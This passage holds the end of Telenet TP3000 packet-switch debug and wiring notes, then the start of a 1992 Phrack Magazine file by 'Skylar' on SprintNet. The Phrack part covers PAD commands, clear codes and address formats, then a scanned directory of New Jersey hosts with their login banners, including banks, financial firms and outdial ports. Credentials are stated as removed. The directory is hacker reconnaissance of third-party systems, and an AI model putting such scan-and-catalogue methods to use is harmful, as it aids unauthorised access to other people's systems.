Y (TP3325 ONLY) RETURNS NCC LOAD ADDRESS FROM EPROM

Z (TP3325 ONLY) CRASHES APB AND XPB. MAY HANG APB IF THE X.25 INTERFACE DOES NOT RESET.

$ PORT A ‑‑ ENABLE AUTOCONNECT M ‑‑ DISABLE AUTOCONNECT B ‑‑ BUSY

R ‑‑ RESET

C ‑‑ CLEAR

HARDWARE COMMANDS FOR THE TP3000

'P' COMMAND DISPLAYS THE STATUS OF A SPECIFIED PERIPHERAL INTERFACE DEVICE FOR THE CPU. FOLLOWING IS A LIST OF SOME OF THE MORE USEFUL ADDRESSES WHICH CAN BE BENEFICIAL IF TRYING TO RESEARCH A PROBLEM.

THIS COMMAND IS A READ TO THE SPECIFIED DEVICE. DEPENDANT ON THE DEVICE BEING READ (THE ADDRESS), THE TP MAY CRASH.

COMMAND INTERPRETATION

=======

TP3010

‑‑‑‑‑‑

P45 READ CONSOLE READ REGISTER

(BIT 2 THRU 6 SHOW THE POSITION OF

THE FRONT PANEL ROTARY SWITCH)

BIT 0 = NOT TIMEOUT STATUS (SEE P47)

BIT 1 = NOT PBRST STATE (SEE P47)

BIT 2 = NOT RESTART

BIT 3 = NOT MEMORY SAVE

BIT 4 = NOT TAPE LOAD

BIT 5 = NOT PROGRAM SAVE

BIT 6 = NOT DIAGNOSTICS

BIT 7 = NOT SYSTEM GOOD

IF BIT 6 THRU BIT 2 ARE ALL SET (EQUAL TO 1)

THEN THE FRONT PANEL SWITCH IS IN

THE X.25 LOAD POSITION.

P47 THIS COMMAND WILL CAUSE THE FRONT PANEL

ALARM TO SOUND.

P4D,P4D,P4D,P4D,P4D,P4D,P4D THE LAST RESPONSE WILL PROVIDE THE

DOWN LINE LOAD EPROM REV. LEVEL

FOR THE TP3010.

EXAMPLE 43 = 'C' LEVEL

TP3005

‑‑‑‑‑‑

P23 BIT 1 = 0 CONFIG MODE

1 RUN MODE

4.2X 5.XX COMMENTS

====== ====== =======

70 70 LCB VECTOR TABLE

2 BYTES FOR EACH LINE IN THE TP. IF LINE IS

NOT DEFINED , THEN ENTRY IS 0000. IF LINE

IS DEFINED, THEN ADDRESS POINTS TO THE

LCB (LINE CONTROL BLOCK)

C0 120 BM CONTROL BLOCK

C4 124 # CONTROL BUFFERS INITIALIZED C5 125 # CONTROL BUFFERS FREE C6 126 LOWEST # CONTROL BUFFERS (00 IS NONE LEFT) 12B POINTER TO THE CONTROL BUFFERS CC 131 # BLOCK BUFFERS INITIALIZED CD 132 # BLOCK BUFFERS FREE CE 133 LOWEST # BLOCK BUFFERS REACHED (00 IS NONE

LEFT)

138 POINTER TO BLOCK BUFFERS 1F1 POINTER TO PROTOCOL ID TABLE

270 1F0 X.25 LCB

27E 27E # FRAMES DISCARDED 27F 27F # CRC ERRORS

280 280 # REJECTS SENT

281 281 # REJECTS RECEIVED 282 282 # T1 TIME OUTS

283 283 # COMMAND REJECTS SENT 284 284 # COMMAND REJECTS RECEIVED 285 285 # DISCONNECTS SENT 286 286 # DISCONNECTS RECEIVED 287 287 # SET MODE SENT

288 288 # SET MODE RECEIVED 289 289 # FRAME OVERFLOW RECEIVED 28A 28A # I FRAMES SENT

28B 28B # I FRAMES RECEIVED 2B0 230 DMA LCB

300 270 LCN VECTOR TABLE

29B MAX. # LCN'S

32C 29C # OF ACTIVE LCN'S

7FE 7FE POINTER TO THE END OF THE OPERATING

SYSTEM. THE NEXT BYTE IS THE BEGINNING

CONFIGURATION TABLES.

159 E9 TIME OF DAY CLOCK 159 E9 1/10 SECONDS

15A EA SECONDS

15B EB MIN.

15C EC HOURS

15D ED DAYS

15E EE DAYS

DCB + 3 XX PACKET REC. STATUS BYTE#1

00 = READY

01 = DTE WAITING

02 = DCE WAITING

04 = DATA TRANSFER

08 = DTE CLEAR REQUEST SENT

10 = DCE CLEAR INDICATION

20 = DTE RESTART REQUEST

40 = DTE RESET REQUEST

80 = DCE RESET INDICATION

DCB +18 XX POINTER TO NEXT FREE DCB

VALID ONLY IF THIS IS A FREE DCB

ITI SPECIFIC LCB INFORMATION

LCB+27 PHYSICAL STATUS

X'00' LINE DOWN/INACTIVE

X'01' LINE HAS BEEN INACTIVATED

X'02' LINE IS 'BUSY OUT'

X'04' LINE IS BEING ACTIVATED

X'08' LINE IS ACTIVE

X'10' LINE IS BEING INACTIVATED

LCB+28 TDT2 COMMAND BYTE

BIT 0 = 1 BUSY LINE

BIT 1 = 1 CLEAR LINE

BIT 2 = 1 RESET LINE

BIT 3 ‑ 7 NOT USED

LCB+5C # BUFFERS ALLOCATED TO THIS LINE LCB+5D DRIVER ERROR COUNTER LCB+5E NO BUFFER ERROR COUNTER LCB+5F FLOW CONTROL ERROR COUNTER LCB+60 PARITY ERROR COUNTER LCB+61 OVER‑RUN ERROR COUNTER LCB+62 FRAMING ERROR COUNTER LCB+74 BREAK TIMER LCB+75 RING‑OUT TIMER LCB+76 RING‑OUT COUNTER

DSP 3270 LCB SPECIFIC INFORMATION

LCB+4F CURRENT NO. SYNC PAIRS INSERTIONS LCB+50 CURRENT NO. OF ERROR RETRIES LCB+51 CURRENT NO. OF NAK RETRIES LCB+52 CURRENT NO. OF ENQ RETRIES LCB+53 RECEIVE ACK COUNTER LCB+54 TRANSMIT ACK COUNTER LCB+55 CTS DROP‑ERROR COUNTER LCB+56 DCD DROP‑ERROR COUNTER LCB+5A CURRENT NO. WACK'S

X780 LCB SPECIFIC INFORMATION

LCB+4F CURRENT NO. OF SYNC PAIR INSERTIONS LCB+50 CURRENT NO. OF ERROR RETRIES LCB+51 CURRENT NO. OF NACK RETRIES LCB+52 CURRENT NO. OF ENQ RETRIES LCB+53 RECEIVE ACK COUNTER LCB+54 TRANSMIT ACK COUNTER LCB+55 CTS DROP‑ERROR COUNTER LCB+56 DCD DROP‑ERROR COUNTER

COMMON DCB INFORMATION

DCB+6 BITS 5‑7 PACKET SEND SEQ. NO. P(S) DCB+7 BITS 5‑7 PACKET REC. SEQ. NO. P(R) DCB+8 LCN #

DCB+9 BITS 5‑7 PACKET SEQ. NO. LAST CONFIRMED DCB+A BITS 5‑7 PACKET SEQ. NO. LAST SENT TO NET DCB+B # PACKETS SENT DCB+D # PACKETS REC. DCB+F # RESETS SENT OR RECEIVED DCB+14 # BUFFERS IN HOLD QUEUE DCB+15 TIME VC WAS ESTABLISHED (SSMMHHDD) DCB+31 DESTINATION NETWORK ADDRESS

THE FOLLOWING IS A DESCRIPTION OF THE TP3006 X.25 INTERFACE FROM THE SIO TO THE REAR PANEL CONNECTORS.

SIO CHIP REAR PANEL CONNECTOR +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| DTRB |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>‑ DTR 20 | TXDB |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>‑ TXD 2 | RTSA |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>‑ LDL 13 | RTSB |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>‑ RTS 4 | DTRA |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>‑ LAL 19 | DCDA |‑‑‑<‑‑‑‑‑‑‑‑‑‑‑+‑‑‑>‑ CTR 18

| | RLSD 8

| RXCA |‑‑+

| RXCB |‑‑+‑‑‑‑‑‑‑‑ ** ‑‑‑‑<‑ RXC 17

| | TXCE 24

| | **RXCE 11

| TXCA |‑‑‑‑+

| TXCB |‑‑‑‑+‑‑‑‑‑‑ ** ‑‑‑‑<‑ TXC 15 | DCDB |‑‑‑‑‑‑‑‑‑‑‑ ** ‑‑‑‑<‑ DSR 6 | CTSB |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑ CTS 5 | RXDA |‑‑‑‑+

| RXDB |‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑ RXD 3 | CTSA |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<‑ RI 22 | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

< INBOUND SIGNAL > OUT BOUND SIGNAL

IF DSR AND TXC, THEN USE EXTERNAL CLOCKING. IF DSR AND NO TXC, THEN USE INTERNAL CLOCKING DERIVED FROM THE CONFIGURED LINE SPEED PRODUCED FROM A CTC CHIP). IF THE CLOCKING IS PRODUCED INTERNALLY, THEN THE INTERNAL CLOCK IS ALSO PROVIDED ON PINS 11 AND 24

AT THE REAR PANEL.

FOR THE TP3325, THE NETLINES ALWAYS USE THE EXTERNAL CLOCK SOURCE. THE HARDWARE WAS CHANGED DURING REFINEMENT OF THE MOD ONE XPB.

IF THE ATTACHED DEVICE IS PROVIDING CLOCKING AND THE TP3025 IS PROVIDING CLOCKING, THE TP WILL DETECT THE CLOCKING AND WILL STOP CLOCKING. IN THE CASE OF THE TP3025 HAVING BEEN RESET AND LOADED, IF A TP3005/3006 IS THEN CONNECTED TO THE INTERFACE, THERE IS A RACE CONDITION WHERE THE DEVICE THAT PROVIDES THE CLOCKING IS ARBITRARY. THE HARDWARE LOGIC REQUIRES A RESET TO OCCUR FOR THE TP3025 TO CHANGE PRIOR SELECTION OF 1) INTERNAL/EXTERNAL CLOCKING AND 2) V35/RS232 INTERFACE AFTER A LOAD.

THE DEBUG PORT "S" COMMAND WILL RETURN ONE HEX BYTE THAT REPRESENTS THE DATA SET SIGNALS STATUS AT THE SIO CHIP FOR THE DEFINED LINE (E.G. "S2" WILL RETURN THE DATA SET SIGNALS ON LINE 2). THE UPPER HALF OF THE BYTE IS USED TO REPRESENT THE DATA SET SIGNAL STATUS.

BIT 7 6 5 4 3 2 1 0

| | | | ===

| | | | NOT USED

| | | |

DSR AT THE REAR ‑‑‑+ | | +‑‑‑ RTS AT THE REAR PANEL. DTR AT THE REAR ‑‑‑‑‑+ +‑‑‑‑‑‑ CTS AT THE REAR PANEL.

THE FOLLOWING IS A DESCRIPTION OF THE DEVICE INTERFACE FOR THE SIO TO THE REAR PANEL.

SIO CHIP REAR PANEL INTERFACE +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| RXD | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑< 2 TD

| TXD | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 3 RD

| DCD | ‑<‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑< 4 RTS

| | 5 CTS

| DTR | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 6 DSR

| RTS | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 8 DCD

| RXC | ‑<‑‑‑‑‑‑‑‑‑ ** ‑‑‑‑‑‑‑‑‑< 11 | | PIO DSR ‑‑ ** ‑‑‑‑‑‑‑‑‑< 20 DTR

| | ‑‑ *15 TC

| | ‑‑ *17 RC

| TXC | ‑<‑‑‑‑‑‑‑‑‑ ** ‑‑‑‑‑‑‑‑‑< 24 TC | CTS | ‑<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑< 18 | |

| | PIO ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑< 25

| | PIO ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> 22

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

WITH DTR TRUE ( PIN 20), RXC (PIN 11) IS CHECKED FOR AN INBOUND CLOCK SIGNAL. IF THERE IS A CLOCK SIGNAL, THEN THE SIO IS CLOCKED EXTERNALLY FROM PIN 11 AND 24. IF THERE IS NO CLOCK ON PIN 11 THEN AN INTERNAL CLOCK SOURCE IS GATED TO THE SIO AND TO PIN 15 AND 17 ON THE REAR PANEL INTERFACE.

THE OUTPUT OF THE DEBUG PORT 'S' COMMAND DISPLAYS ONE HEX BYTE THAT IS A COMPOSITE OF THE DATA SET SIGNALS FROM THE PIO AND SIO CHIPS. THE OUTPUT BIT DEFINITIONS ARE THE SAME AS THE X.25 LINE BUT A NOTE NEEDS TO MADE THAT THE X.25 IS A DTE INTERFACE AND THE DEVICE LINES ARE A DCE INTERFACE. THE UTILIZATION OF THE INBOUND RTS/CTS MAY NOT BE REQUIRED FOR THE TP TO MAINTAIN THE INTERFACE.

PINS 22 AND 25 ARE PAD DEPENDANT SO THEY MAY BE USED FOR DIFFERENT FUNCTIONS THAN THOSE EXPECTED.

ALL NUMERIC VALUES ARE IN HEX. COMMAND STRINGS CAN BE USED WHILE IN THE DEBUG PORT.

===========================

| XCB DIRECTORY TABLE (two bytes per entry) > | DEBUG |LOGGER| X.25 #0 | X.25 #1 | X.25 #2 | X.25 #3|....... L70,R24 | DCB | DCB | XCB | XCB | XCB | XCB | >

|==========================

| | |

XCB#0 XCB#1 | XCB#2 XCB#3 | XCB#4 XCB#5

| |

+‑>>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>>‑+ |

| |

| +<<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<<‑+ L76,R2 | | L7A,R2

| |

| | L74,L,R80 | +<<‑‑‑+ L78,L,R80

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑>>‑‑‑‑‑‑‑‑‑‑‑

| | XCB >> > | | XCB >> >

| +‑‑‑‑‑‑‑‑‑‑‑‑‑>>‑‑‑‑‑‑‑‑‑‑‑

| | XCB+2D | | XCB+2D

| |

| +‑<<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| | L(XCB+2D),L,R((MAX.LCN*3)+3) | | L(XCB+2D),L,R((MAX.LCN*3)+3)

| |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>>‑‑‑‑‑‑

| | LCN VECTOR TABLE >> ABCCDD > | | LCN VECTOR TABLE >> ABCCDD > B |3 BYTES PER ENTRY >> ====== > B |3 BYTES PER ENTRY >> ====== >

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>>‑‑‑‑‑‑

| |

+‑‑CC‑>> TRUNK LCNS ‑‑‑‑‑> | +‑‑CC‑>> CONCENTRATOR LCNS | | |LCN0 |LCN1 |... | | |LCN0 |LCN1 |... |

| +‑‑

|

| THREE BYTE LCN ENTRY ==> AB CC DD |

| =

| |

| XCB NUMBER ‑‑‑‑+ | |

| LCN NUMBER ‑‑‑‑‑‑+ +‑‑‑‑ LCN TIMER |

|

|

+‑<<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

** CC IS THE LCN NUMBER IN XCB B. B IN XCB #0 WILL POINT TO

==

XCB #4 IN THIS EXAMPLE. CC IN XCB #0 WILL GIVE THE LCN NUMBER USED IN

==

THE LCN VECTOR TABLES FOR XCB #4.

1) XCB OFFSETS DEFINITION

XCB + 09 CONTROL DATA SET SIGNAL STATUS

BIT 4 = 1 RTS HIGH

5 = 1 CTS HIGH

6 = 1 DTR HIGH

7 = 1 DSR HIGH

THE S COMMAND RETRIEVES THIS LOC.

XCB + 0B POINTER TO LINE CONFIGURATION RECORD.

XCB + 0E NUMBER OF FRAMES DISCARDED. XCB + 0F NUMBER OF CRC ERRORS

XCB + 10 NUMBER OF REJECTS SENT XCB + 11 NUMBER OF REJECTS RECEIVED

XCB + 12 NUMBER OF T1 TIMEOUT

XCB + 13 NUMBER OF COMMAND REJECTS SENT XCB + 14 NUMBER OF COMMAND REJECTS RECEIVED

XCB + 15 NUMBER OF DISCONNECTS SENT XCB + 16 NUMBER OF DISCONNECTS RECEIVED

XCB + 17 NUMBER OF SET MODE SENT XCB + 18 NUMBER OF SET MODE RECEIVED

XCB + 19 NUMBER OF FRAME OVERFLOW

XCB + 1A NUMBER OF I FRAMES SENT XCB + 1C NUMBER OF I FRAMES RECEIVED

XCB + 24 FLAG BYTE

BIT 0 = 1 DCE‑TO‑DTE FLOW INIT

1 = 1 DTE‑TO‑DCE FLOW INIT

2 = 1 LINK RESET (DISC. OR SETMODE SENT

3 = 1 DCE BUSY ( RNR SENT)

4 = 1 IN TIMER RECOVERY

5 = 1 SENT INTERNAL RESET. LAP RE‑INIT.

6 = 1 SET POLL BIT IN NEXT FRAME.

XCB + 27 LINE STATUS

BIT 0 = 1 NOT ACTIVE

1 = 1 DEACTIVATED

2 = 1 BUSY‑OUT

3 = 1 ACTIVATING

4 = 1 ACTIVE

5 = 1 DEACTIVATING

XCB + 2B MAX. LCN PERMITTED

XCB + 2C CURRENT NUMBER OF LCN IN USE XCB + 2D POINTER TO THE LCN VECTOR TABLE

XCB + 47 'DISABLE/ ENABLE/ CLEAR COMMAND.

NOT OPERATIONAL AT VERSION 1.01.

01 ‑ BUSY

02 ‑ CLEAR BUSY

04 ‑ RESET LINE

2) LCN VECTOR TABLE.

( XCB + 2D ,L,A (LCN ADDRESS),R3) LCN ADDRESS = (LCN * 3)

LCN + 0 BITS

0‑3 ‑ XCB DIRECTORY NUMBER.

4 ‑ INIT CLEAR TIMER ON

5 ‑ CLEAR INDICATION SENT

6 ‑ CALL REQUEST SENT

7 ‑ LCN ACTIVE

LCN + 1 LCN NUMBER

(SEE LCN + 0 , BITS 0‑3 TO GET XCB NUMBER)

Sprintnet Directory Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 8 of 14

The SprintNet/Telenet Directory

==

====

======

========

‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑====

‑‑‑‑‑‑‑‑‑‑‑‑==========

========

======

====

==

Scanned and written by Skylar

Release date: 12/92

Part I Basic SprintNet Info

Part II SprintNet Directory

How to Access SprintNet: ~~~~~~~~~~~~~~~~~~~~~~~~

(Compliments of Sprint)

SPRINTNET LOCAL ACCESS NUMBERS

FOR THE MOST UP‑TO‑DATE LISTING OF THE U.S. ACCESS TELEPHONE NUMBERS FOR PC OUTDIAL SERVICES, DO THE FOLLOWING:

1. USE A MODEM TO DIAL 1‑800‑546‑1000 WITH PARAMETERS SET AT 7‑E‑1

2. TYPE THREE CARRIAGE RETURNS (CR) (CR) (CR)

3. INPUT YOUR AREA CODE AND LOCAL EXCHANGE

4. YOU WILL THEN RECEIVE THE PROMPT SIGN "@"

5. THEN, TYPE:

MAIL (CR)

USER NAME: PHONES (CR) PASSWORD: PHONES (CR)

Follow the menus to get your local dialup, then logon through that using the same procedure until you get to the "@" prompt. From here, you can type in commands. Below is a list of commands available from the "@" prompt.

Notes: while connected, you can escape to the command prompt by sending <cr>@<cr>

while waiting for a connection, you can escape to the command prompt by sending a hard BREAK

Command <parameter> Explanation

BYE Closes session (same as disconnect)

CONNECT <nua> Connects to a network user address

CONTINUE Continue session (used after breaking) DISCONNECT Closes session (same as bye)

DTAPE Builds optimum circuit for bulk file transfer DISABLE ECHO

DISABLE FLOW Pad to host flow control

DISABLE TFLOW Terminal to pad flow control

ENABLE ECHO

ENABLE FLOW

ENABLE TFLOW

FULL Set full duplex

HALF Set half duplex

HANGUP Self explanitory

ID <nui> Sets the network user id for charged calls RESET Resets your port (as if you just dialed up) RST Show remote parameters

RST? Set remote parameters

PAR? Show ITI parameters

STATUS Shows your current network address and port SET? <param>:<value> Set ITI parameters.

TERM <termtype> Set your termtype

TEST CHAR Test of all ascii characters

TEST ECHO Echos what you type

TEST TRIANGLE

TEST VERSION Shows current pad software ver

Note: I didn't include any of the parameters for SET? or termtypes because they would have increased the length of this file by about 20%. If you want these, you can get them from the PC‑PURSUIT BBS file section via C PURSUIT from SprintNet or 031109090063100 international.

Network Messages:

~~~~~~~~~~~~~~~~~

While attempting to CONNECT to addresses on SprintNet, you may run into various messages from the network. This should help you determine what they mean.

If you are connected and break your connection or are disconnected by the remote host, you will recieve a disconnect message. Below is a breakdown of the message.

DISCONNECTED 00 00 00:00:00:00 000 00

^ ^ ^_________^ ^ ^

| | | | |

| | | | +‑‑ Packets sent

| | | +‑‑‑‑‑ Packets recieved

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑ Days:Hours:Minutes:Seconds connected

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Clearing diagnostic code

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Clearing cause code

If you are unable to make a connection or abort an attempted connection, you will only receive cause and diagnostic codes (as no time was spent connected and obviously no packets were sent!) along with a very general plain‑text of what the problem might be (i.e. rejecting, not operating...). Below is a list of cause and diagnostic codes to give you a more detailed idea of why you were unable to connect or why you were disconnected.

Clear cause codes:

0 "DTE originated clear"

1 "Number busy"

3 "Invalid facility requested"

5 "Network congestion"

9 "Out of Order"

11 "Access barred"

13 "Not obtainable"

17 "Remote Procedure Error"

19 "Local Procedure error"

21 "RPOA out of order"

25 "Reverse Charge not Subscribed to"

33 "Incompatible destination"

41 "Fast Select acceptance not subscribed"

49 "Ship absent"

128 "DTE originated clear with top bit set"

193 "Gateway procedural error"

195 "Gateway congestion"

199 "Gateway Operational"

Clear diagnostic codes

0 "No additional Information"

1 "Invalid Ps"

2 "Invalid Pr"

16 "Packet Type Invalid"

17 "Packet Type Invalid in state r1"

18 "Packet Type Invalid in state r2"

19 "Packet Type Invalid in state r3"

20 "Packet Type Invalid in state p1"

21 "Packet Type Invalid in state p2"

22 "Packet Type Invalid in state p3"

23 "Packet Type Invalid in state p4"

24 "Packet Type Invalid in state p5"

25 "Packet Type Invalid in state p6"

26 "Packet Type Invalid in state p7"

27 "Packet Type Invalid in state d1"

28 "Packet Type Invalid in state d2"

29 "Packet Type Invalid in state d3"

32 "Packet not allowed"

33 "Packet Type Unidentifiable"

34 "Call on One way LC"

35 "Invalid PVC packet type"

36 "Packet on Unassigned logical channel"

37 "Reject not Subscribed to"

38 "Packet too short"

39 "Packet too long"

40 "Invalid GFI"

41 "Restart/Registration Packet has LC"

42 "Packet type not compatible with Facility"

43 "Unauthorised Interrupt Confirmation"

44 "Unauthorised Interrupt"

45 "Unauthorised Reject"

48 "Timer expired"

49 "Timer expired for Incoming call"

50 "Timer expired for clear Indication"

51 "Timer expired for reset indication"

52 "Timer expired for restart indication"

53 "Timer expired for call forwarding"

64 "Call set up/clear/registration problem"

65 "Facility/registration code not allowed"

66 "Facility parameter not allowed"

67 "Invalid Called Address"

68 "Invalid calling address"

69 "Invalid facility registration length"

70 "Incoming call barred"

71 "No logical channel available"

72 "Call Collision"

73 "Duplicate facility ested"

74 "Non zero address length"

75 "Non zero facility length"

76 "Facility not provided when expected"

77 "Invalid CCITT spec'd facility"

78 "Maximum call redirections/forwardings exceeded"

80 "Miscellaneous"

81 "Improper cause code from DTE"

82 "Non alligned octet"

83 "Inconsistent Q bit setting"

84 "NUI Related problem"

96 "International setup/clearing problem"

97 "Unknown calling DNIC "

98 "TNIC mismatch "

99 "Call identifier mismatch"

100 "Neg' error in utility parm' value"

101 "Invalid utility length "

102 "Non‑zero utility length "

103 "M bit violation "

112 "International problem "

113 "Remote Network problem "

114 "International Protocol problem "

115 "International Link out of order "

116 "International Link busy"

117 "Transit Network Facility Problem"

118 "Remote Network Facility Problem"

119 "International routing problem"

120 "Temporary routing problem"

121 "Unknown called DNIC"

122 "MAintenance action"

128 "Network Specific Diagnostic"

218 "trax_trap error for user call"

219 "user task error"

220 "x25 task error"

Note: If you're getting LOCAL/REMOTE PROCEDURE ERROR or REJECTING, try using different ports with the same address.

Other Than SprintNet:

~~~~~~~~~~~~~~~~~~~~~

International or other than SprintNet users, follow the table below to expand these addresses to suit your network:

202 224 <‑‑‑ Address from list

031102020022400 <‑‑‑ Translated to international format

03110 202 00224 00 <‑‑‑ Explanation of international format

^^^^^ ^^^ ^^^^^ ^^

| | | |

| | | |____ Port Number

| | |_________ Network Address

| |______________ Network Prefix

|___________________ DNIC

DNIC : This will be be 03110 for all translations. On some networks, you won't need the leading 0 and can use 3110, and a few networks (DataPac?) use a 1 instead of 0, thus: 13110.

Prefix : Throughout this file, it will always be a three digit prefix.

Address: You may have to experiment a little to get the correct place holders, but as a general rule they will translate like this:

1 = 00001

11 = 00011

111 = 00111

1111 = 01111

11111 = 11111

Ports : Port numbers range from .1 to .99. The first 27 ports may be alternately displayed as A‑Z. Ports are generally not listed as most addresses will find a free port for you if you leave it off, but in some cases you must use it, so they translate like this:

.1 or A = 01

.2 or B = 02

and so on...

Examples of translated addresses:

201 1.5 = 031102010000105

415 9 = 031104150000900

223 25 = 031102230002500

714 218 = 031107140021800

617 2027 = 031106170202700

If this seems a bit essoteric or confusing, don't worry. A little bit of experimenting will get you on the right track.

Notes:

~~~~~~

‑ You can usually omit leading and trailing 0's

‑ Most networks and PADs do NOT allow any spaces

‑ From SprintNet, you can use either form of address

Conventions in this list:

~~~~~~~~~~~~~~~~~~~~~~~~~

Addresses followed by a "$" do not accept collect connections (if you're not coming on from SprintNet, ignore the $).

Addresses followed by a "*" do not accept collect connections, and I was unable to connect to them to determine what they are.

When both the OS and the RESPONSE fields are left blank, this means that I connected and either couldn't evoke response or got a garbage response.

LOGIN/PW's removed from this release.

SprintNet Directory

~~~~~~~~~~

201 ‑ New Jersey Scanned:[0‑2000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

201 1 $ outdial (201)

201 22 $ outdial (201)

201 25 Unix HP‑UX ciathp A.B7.00 U 9000/835

201 30

201 32 D&B Terminal

201 34 $ Prime

201 36 * (incoming call barred)

201 37 $

201 40 $ Welcome to our PSI via X.29

201 42 *

201 43 $

201 44 $

201 45 Prime NewsNet

201 46 $

201 48 $ VAX/VMS Welcome to MicroVMS V5.3

201 49 $ VAX/VMS

201 53 WELCOME TO COLGATE'S IICS

201 57 * (incoming call barred)

201 58 * (incoming call barred)

201 59 * (incoming call barred)

201 66 $ Prime

201 67 warner computer systems

201 68 warner computer systems

201 69 warner computer systems

201 83 ENTER ID:

201 84 D&B Terminal

201 86 D&B Terminal

201 88 D&B Terminal

201 89 Prudential

201 107 $ outdial (201)

201 108 $ outdial (201)

201 138 HP‑3000 EXPECTED HELLO, :JOB, :DATA, OR (CMD) AS LOGON. 201 140 $ Enter One Time Password:

201 156 Unix Securities Data Company (SDC7)

201 163 VU/TEXT * PLEASE SIGN ON:

201 164 VU/TEXT * PLEASE SIGN ON:

201 167 DTC DTC01.HP.COM

201 170 Prudential

201 173 MHP201A UPK19130 APPLICATION:

201 174 CRYPTO ENTER "IDX" OR "ID" AND USER ID ‑‑>

201 179 APPLICATION:

201 200 D&B Terminal

201 201 D&B Terminal

201 235 *

201 241 $ (immediate hangup)

201 242 D&B Terminal

201 243 D&B Terminal

201 244 D&B Terminal

201 246 D&B Terminal

201 247 VTAM Shearson Lehman Brothers NPSI

201 252 Prime PRIMENET 21.0.6 BOR

201 254 $ Unix field login:

201 257 Please press <Return> . . .(

201 259 Please press <Return> . . .(

201 271 $ User Access Verification Password:

201 301 $ outdial

201 334 $ HP‑3000 :

201 335 *

201 336 $ Concurrent Computer Corporation's DATALINK 201 337 $ out of order

201 339 $ ??? (echo)

201 340 *

201 341 *

201 342 $ Unix ocpt

201 343 $ Enviornmental Control Monitor (PENNET)

201 344 *

201 348 *

201 350 $ $$ 4200 MODEL: $$ 50 DEVICE TYPE IDENTIFIER : 201 355 $ Concurrent Computer Corporation's DATALINK 201 430 * (incoming call barred)

201 465 VAX/VMS V5.5 on VBH301

201 471 Prudential

201 472 APPLICATION:

201 474 Prudential

201 475 Prudential

201 477 VM/CMS? ENTER AS SHOWN: L/LOGON/TSO/INFO/CICS

201 479 VM/CMS

201 730 *

201 770 *

201 830 $ INSCI/90 SYSTEM MV‑10/13, LOGON PLEASE

201 870 $ INSCI/90 SYSTEM MV‑10/13, LOGON PLEASE

201 890 $ INSCI/90 SYSTEM MV‑10/13, LOGON PLEASE

201 895 $ INSCI/90 SYSTEM MV‑10/10, LOGON PLEASE

201 899 $ (hangs up)

201 910 $ (echo)

201 912 $ (echo)

201 914 $ (echo)

201 916 $ (echo)

201 950 Bankers Trust Online

201 999 $ (hangs up)

201 1030 USER ID

201 1050 VU/TEXT

201 1051 VU/TEXT

201 1052 VU/TEXT

201 1053 VU/TEXT

201 1054 VU/TEXT

201 1055 VU/TEXT

201 1056 VU/TEXT

201 1057 VU/TEXT

201 1059 VU/TEXT

201 1060 VU/TEXT

201 1061 VU/TEXT

201 1062 VU/TEXT

201 1063 VU/TEXT

201 1064 VU/TEXT

201 1065 VU/TEXT

201 1066 VU/TEXT

201 1067 VU/TEXT

201 1068 VU/TEXT

201 1069 VU/TEXT

201 1070 VU/TEXT

201 1071 VU/TEXT

201 1072 VU/TEXT

201 1073 VU/TEXT

201 1074 VU/TEXT

201 1075 VU/TEXT

201 1076 VU/TEXT

201 1077 VU/TEXT

201 1078 VU/TEXT

201 1079 VU/TEXT

201 1135 $ ACCESS BARRED

201 1137 $ Finlay Fine Jewelry Corp.

201 1139 CONNECTED TO PACKET/400

201 1143 $ MHP201A UPK19040 APPLICATION:

201 1156 *

201 1160 Shaw Data Services

201 1163 * (incoming call barred)

201 1164 * (incoming call barred)

201 1168 CONNECTED TO PACKET/400

201 1170.1 $ Johnson and Johnson Network

201 1171 *

201 1172 $ Unix/SCO TCSS

201 1173 *

201 1174 *

201 1176 NSP READY

201 1177 NSP READY

201 1232 VAX/VMS Username:

201 1233 VAX/VMS Username:

201 1243 VAX/VMS Friden Neopost (NJCRAN Node)

201 1251 VM/CMS GSERV

